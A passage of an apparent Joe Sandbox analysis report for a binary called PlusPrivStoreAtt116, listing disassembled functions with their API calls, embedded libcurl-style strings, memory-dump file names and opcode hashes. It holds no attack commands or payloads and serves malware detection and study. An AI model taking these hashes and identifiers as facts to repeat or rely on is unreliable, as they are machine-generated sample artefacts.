free.API-MS-WIN-CRT-HEAP-L1-1-0(?,Negotiate,?,00007FF6029D4DD6), ref: 00007FF6029F15B3
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F15C5

Strings

Proxy-, xrefs: 00007FF6029F156D
%sAuthorization: Negotiate %s, xrefs: 00007FF6029F157E
Negotiate, xrefs: 00007FF6029F1446, 00007FF6029F1522
Curl_output_negotiate, no persistent authentication: cleanup existing context, xrefs: 00007FF6029F14F1

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: %sAuthorization: Negotiate %s$Curl_output_negotiate, no persistent authentication: cleanup existing context$Negotiate$Proxy-
API String ID: 1294909896-1255959952
Opcode ID: 6763051c228c31c864c50f42b3268d148b359703256ab87795060e244ba2952e
Instruction ID: 8c3a6f4267006b49a77b0520cb1a6f6813db6daf5e88aa60760c7329551c1423
Opcode Fuzzy Hash: 6763051c228c31c864c50f42b3268d148b359703256ab87795060e244ba2952e
Instruction Fuzzy Hash: 3151D462A4864296FB91CB62D4802BA3F90FF40B98F640031EA4DC3696DFBDE455C390

Function 00007FF6029EF797 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 126COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EF7FD
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029EF84E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EF90A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EF9FA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EFA0B

Strings

%%%02x, xrefs: 00007FF6029EF8B3

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: freemalloc$_strdup
String ID: %%%02x
API String ID: 1941130848-4020994737
Opcode ID: a836fe27a0d5cae35f9326d9bbdda8680830951909b3b77083bcb3be45e33309
Instruction ID: d1bdfd70760e9d8a98f88f2b5a6b9e3f87606a8e96da3e4e6769c3265e2ecfd4
Opcode Fuzzy Hash: a836fe27a0d5cae35f9326d9bbdda8680830951909b3b77083bcb3be45e33309
Instruction Fuzzy Hash: 1F41C222A0D68245EF628B12A0143792F91BF5579CF280573DADE87BC2FEADE544D310

Function 00007FF6029EF787 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EF7FD
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029EF84E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EF90A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EF9FA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EFA0B

Strings

%%%02x, xrefs: 00007FF6029EF8B3

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: freemalloc$_strdup
String ID: %%%02x
API String ID: 1941130848-4020994737
Opcode ID: 316bb1082a1ff7fe208b000f1608c5f407bf4d7f4cc0991fefd91e9ebab00efb
Instruction ID: 5ae5588359131cfcd11a05de2d9b26b1d09c8540d9746cab5fd4f8dca4f30572
Opcode Fuzzy Hash: 316bb1082a1ff7fe208b000f1608c5f407bf4d7f4cc0991fefd91e9ebab00efb
Instruction Fuzzy Hash: 7641C222A0D68244FF628B12A0143792F91BF56798F280573DEDE86BC3FEADE444C310

Function 00007FF6029EF6EC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EF7FD
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029EF84E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EF90A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EF9FA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EFA0B

Strings

%%%02x, xrefs: 00007FF6029EF8B3

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: freemalloc$_strdup
String ID: %%%02x
API String ID: 1941130848-4020994737
Opcode ID: aae2820c9649b90ef2d383910c1fadb4125827575a96e270d23418d742a52359
Instruction ID: 0e2dfa851a2ee73bbb746e9c0dc9d0610b951b1ce67f500acc25512d4a3d8564
Opcode Fuzzy Hash: aae2820c9649b90ef2d383910c1fadb4125827575a96e270d23418d742a52359
Instruction Fuzzy Hash: E541B222A0D69245FE628B12A0143792F91BF56798F280573DEDE86BC2FEADE544D310

Function 00007FF6029EF732 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EF7FD
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029EF84E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EF90A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EF9FA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EFA0B

Strings

%%%02x, xrefs: 00007FF6029EF8B3

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: freemalloc$_strdup
String ID: %%%02x
API String ID: 1941130848-4020994737
Opcode ID: f228cae64e71e781229f9b6479e405da6372a9773d43e5d1e04a0a821faac6b0
Instruction ID: 68c3cf041a289492047a2273e95eed840ea40c392e7c12f41229d8547fc053ae
Opcode Fuzzy Hash: f228cae64e71e781229f9b6479e405da6372a9773d43e5d1e04a0a821faac6b0
Instruction Fuzzy Hash: 6B41B222A0D69244FE628B12A0143792F91BF56798F280573DEDE86BC2FEADA444D310

Function 00007FF6029EF6FA Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EF7FD
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029EF84E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EF90A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EF9FA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EFA0B

Strings

%%%02x, xrefs: 00007FF6029EF8B3

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: freemalloc$_strdup
String ID: %%%02x
API String ID: 1941130848-4020994737
Opcode ID: 23aa1005768f67b0a7803d65c085971b2caefa34fb9e22005dc80a51b15d3ea0
Instruction ID: ca48db446c3ab50a62203effd6955b81edaf577fc4d659bc5954336b998ea5e5
Opcode Fuzzy Hash: 23aa1005768f67b0a7803d65c085971b2caefa34fb9e22005dc80a51b15d3ea0
Instruction Fuzzy Hash: C941B322A0D69245FE628B12A0143792F91BF55798F280573DEDE86BC2FEADE544D310

Function 00007FF6029EF708 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EF7FD
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029EF84E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EF90A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EF9FA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EFA0B

Strings

%%%02x, xrefs: 00007FF6029EF8B3

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: freemalloc$_strdup
String ID: %%%02x
API String ID: 1941130848-4020994737
Opcode ID: 0ab6ac1c18ef0320f00ca7f7923387b5228cdbe9ffea08c42e176cd2e22e9a25
Instruction ID: a81edffb36aa4ca240c4b1ebcbeb574f9233341ade6943b1e0f2ad316eb06440
Opcode Fuzzy Hash: 0ab6ac1c18ef0320f00ca7f7923387b5228cdbe9ffea08c42e176cd2e22e9a25
Instruction Fuzzy Hash: 0C41B222E0D69245FE628B12A0143792F91BF56798F280573DEDE86BC3FEADE544D310

Function 00007FF6029EF7BD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 119COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EF7FD
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029EF84E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EF90A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EF9FA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EFA0B

Strings

%%%02x, xrefs: 00007FF6029EF8B3

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: freemalloc$_strdup
String ID: %%%02x
API String ID: 1941130848-4020994737
Opcode ID: bd63b37f65a71803bae912e8edbf27233404d76ff63f84e9c836a8ed04050242
Instruction ID: fe91fd457d79319ecbc38cd718d02d8cd229b3a8115b62bd808deeaff8e9bb60
Opcode Fuzzy Hash: bd63b37f65a71803bae912e8edbf27233404d76ff63f84e9c836a8ed04050242
Instruction Fuzzy Hash: CB41C122A0D69244FE628B12A0143792FD1BF56798F280173DEDE87BC2FEADE444C310

Function 00007FF6029ED410 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 109COMMON

Download Yara Rule

APIs

_time64.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FF6029ED428
_time64.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FF6029ED591

Strings

gfff, xrefs: 00007FF6029ED49C
set timeouts for state %d; Total %ld, retry %d maxtry %d, xrefs: 00007FF6029ED56C
Connection time-out, xrefs: 00007FF6029ED44B
gfff, xrefs: 00007FF6029ED508

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: _time64
String ID: Connection time-out$gfff$gfff$set timeouts for state %d; Total %ld, retry %d maxtry %d
API String ID: 1670930206-870032562
Opcode ID: 1482dd197fc30249b75023598b4a51e44251721b587a5b4df71408df51d1a5b0
Instruction ID: 0d9ba70ae871554091134a1540ba1dbb683aad548526af5d990da16cd450348f
Opcode Fuzzy Hash: 1482dd197fc30249b75023598b4a51e44251721b587a5b4df71408df51d1a5b0
Instruction Fuzzy Hash: 6A41D676B1461586DB24CF2BE0406687BA8FB98F8CF605036DE0CC7B99EE79E551CB40

Function 00007FF6029D48A0 Relevance: 10.6, APIs: 3, Strings: 4, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strchr.VCRUNTIME140 ref: 00007FF6029D4986
strchr.VCRUNTIME140 ref: 00007FF6029D4999
strchr.VCRUNTIME140 ref: 00007FF6029D49AB

Strings

Expect:, xrefs: 00007FF6029D492E
Expect, xrefs: 00007FF6029D4907
Expect: 100-continue, xrefs: 00007FF6029D4A08
100-continue, xrefs: 00007FF6029D49C6

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: strchr
String ID: 100-continue$Expect$Expect:$Expect: 100-continue
API String ID: 2830005266-711804848
Opcode ID: e99b9d8e9f113d2fb1ae666f3e3339b9bff7e13fa51ae1e990fb26d58e4bd974
Instruction ID: 393a113b0fbb314e47e351bf65f923df70a4225d435821c8cbb351f77e45b351
Opcode Fuzzy Hash: e99b9d8e9f113d2fb1ae666f3e3339b9bff7e13fa51ae1e990fb26d58e4bd974
Instruction Fuzzy Hash: CE410421B1C68285EB549B1BA5801F86BD0EF45BCCF686035DB4D8B797EEBCF441A704

Function 00007FF6029CCC70 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 106COMMON

Download Yara Rule

APIs

fseek.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF6029CCDBA

Strings

necessary data rewind wasn't possible, xrefs: 00007FF6029CCDC5
seek callback returned error %d, xrefs: 00007FF6029CCD0E
the ioctl callback returned %d, xrefs: 00007FF6029CCD65
Cannot rewind mime/post data, xrefs: 00007FF6029CCDF0
ioctl callback returned error %d, xrefs: 00007FF6029CCD7F

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: fseek
String ID: Cannot rewind mime/post data$ioctl callback returned error %d$necessary data rewind wasn't possible$seek callback returned error %d$the ioctl callback returned %d
API String ID: 623662203-959247533
Opcode ID: 6c83aea34da28eb50ec715d3d7b4ed2fbe5f567cb1379268d8f167ceba4ee87b
Instruction ID: 82a8fb8d99409fb0442ac250fdb0ebaadf8956609d5b9f8ccf54307f0aa75289
Opcode Fuzzy Hash: 6c83aea34da28eb50ec715d3d7b4ed2fbe5f567cb1379268d8f167ceba4ee87b
Instruction Fuzzy Hash: 7141A462B1864242EB549F2794543B91B91EFC9F8CF682431DE0ECB78ADEBDE490C750

Function 00007FF6029F861E Relevance: 10.6, APIs: 3, Strings: 4, Instructions: 102COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F8A09
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F8A49
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F8A5C

Strings

Signature: %s, xrefs: 00007FF6029F89F7
%u%.2s-%.2s-%.2s %.2s:%.2s:%.2s %.*s, xrefs: 00007FF6029F86B4
Signature, xrefs: 00007FF6029F89DF
GMT, xrefs: 00007FF6029F8674

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free$malloc
String ID: Signature: %s$%u%.2s-%.2s-%.2s %.2s:%.2s:%.2s %.*s$GMT$Signature
API String ID: 2190258309-3662781045
Opcode ID: b395d39516c44ad864a1eaaf70241685fcfc5f6f8e61584dd39769494ddd85ac
Instruction ID: a17757bc412091c1cde5017c954b2568b8dca7762969597c69f8d37e9ea5fc75
Opcode Fuzzy Hash: b395d39516c44ad864a1eaaf70241685fcfc5f6f8e61584dd39769494ddd85ac
Instruction Fuzzy Hash: 69418562A48B8285EBE0CB26E4441FA7B60FF45B8CF680432EA4D97756DFBCE545C300

Function 00007FF6029F73E1 Relevance: 10.6, APIs: 2, Strings: 5, Instructions: 99COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F788E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F7933

Strings

Serial Number, xrefs: 00007FF6029F7862
Signature Algorithm, xrefs: 00007FF6029F7907
Serial Number: %s, xrefs: 00007FF6029F787C
%s%lx, xrefs: 00007FF6029F7436
Signature Algorithm: %s, xrefs: 00007FF6029F7921

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: Serial Number: %s$ Signature Algorithm: %s$%s%lx$Serial Number$Signature Algorithm
API String ID: 1294909896-659367561
Opcode ID: 753980499a01d3a6e5fd097534c5de725a24fe47e6e6276afe50a599a360c2d7
Instruction ID: a4440dca3becd57c13a6412168b622187381f14e56252275ee874cfe7e0ea9d7
Opcode Fuzzy Hash: 753980499a01d3a6e5fd097534c5de725a24fe47e6e6276afe50a599a360c2d7
Instruction Fuzzy Hash: 9E419251E4978288EFD09B6694441FA6FA1AF05B8CF645831EE4E9B79BDEBCE144C300

Function 00007FF6029E0720 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029E075D
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029E07CE

Strings

., xrefs: 00007FF6029E07C7

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: _strdupfree
String ID: .
API String ID: 1865132094-916926321
Opcode ID: b63ea8ecd14ad69126fd20cd5c861c4bc34c19ec2643a61da08846b8492e2fd4
Instruction ID: 8f3d444e5f015aa818cebe1dc209efe41961efc1cc190c61d9058e71a31e39fc
Opcode Fuzzy Hash: b63ea8ecd14ad69126fd20cd5c861c4bc34c19ec2643a61da08846b8492e2fd4
Instruction Fuzzy Hash: D8417132A0CB8682EB60DB16E85037E6BA4FF44B98F654031DA5D97642EFFDE451C780

Function 00007FF6029F76EE Relevance: 10.6, APIs: 3, Strings: 4, Instructions: 95COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F771F
memcpy.VCRUNTIME140 ref: 00007FF6029F774A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F788E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F7933

Strings

Serial Number, xrefs: 00007FF6029F7862
Signature Algorithm, xrefs: 00007FF6029F7907
Serial Number: %s, xrefs: 00007FF6029F787C
Signature Algorithm: %s, xrefs: 00007FF6029F7921

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free$mallocmemcpy
String ID: Serial Number: %s$ Signature Algorithm: %s$Serial Number$Signature Algorithm
API String ID: 3401966785-517259162
Opcode ID: d7856b8d5f777aa892999a3c922b1d7cfea9bb5a062f3762ac05135a2f3dafbf
Instruction ID: ebbd72a9bd1db63c63fb20cd55c8b61901075bf3b0de664d01f389366da2d06d
Opcode Fuzzy Hash: d7856b8d5f777aa892999a3c922b1d7cfea9bb5a062f3762ac05135a2f3dafbf
Instruction Fuzzy Hash: 87419165F0978244EF948B6394442FA6BA1BF05B8CF684435DE0E9B79AEFBCE545C300

Function 00007FF6029F886D Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 82COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F88A8
memcpy.VCRUNTIME140 ref: 00007FF6029F88CE
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F8A09
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F8A49
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F8A5C

Strings

Signature: %s, xrefs: 00007FF6029F89F7
Signature, xrefs: 00007FF6029F89DF

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
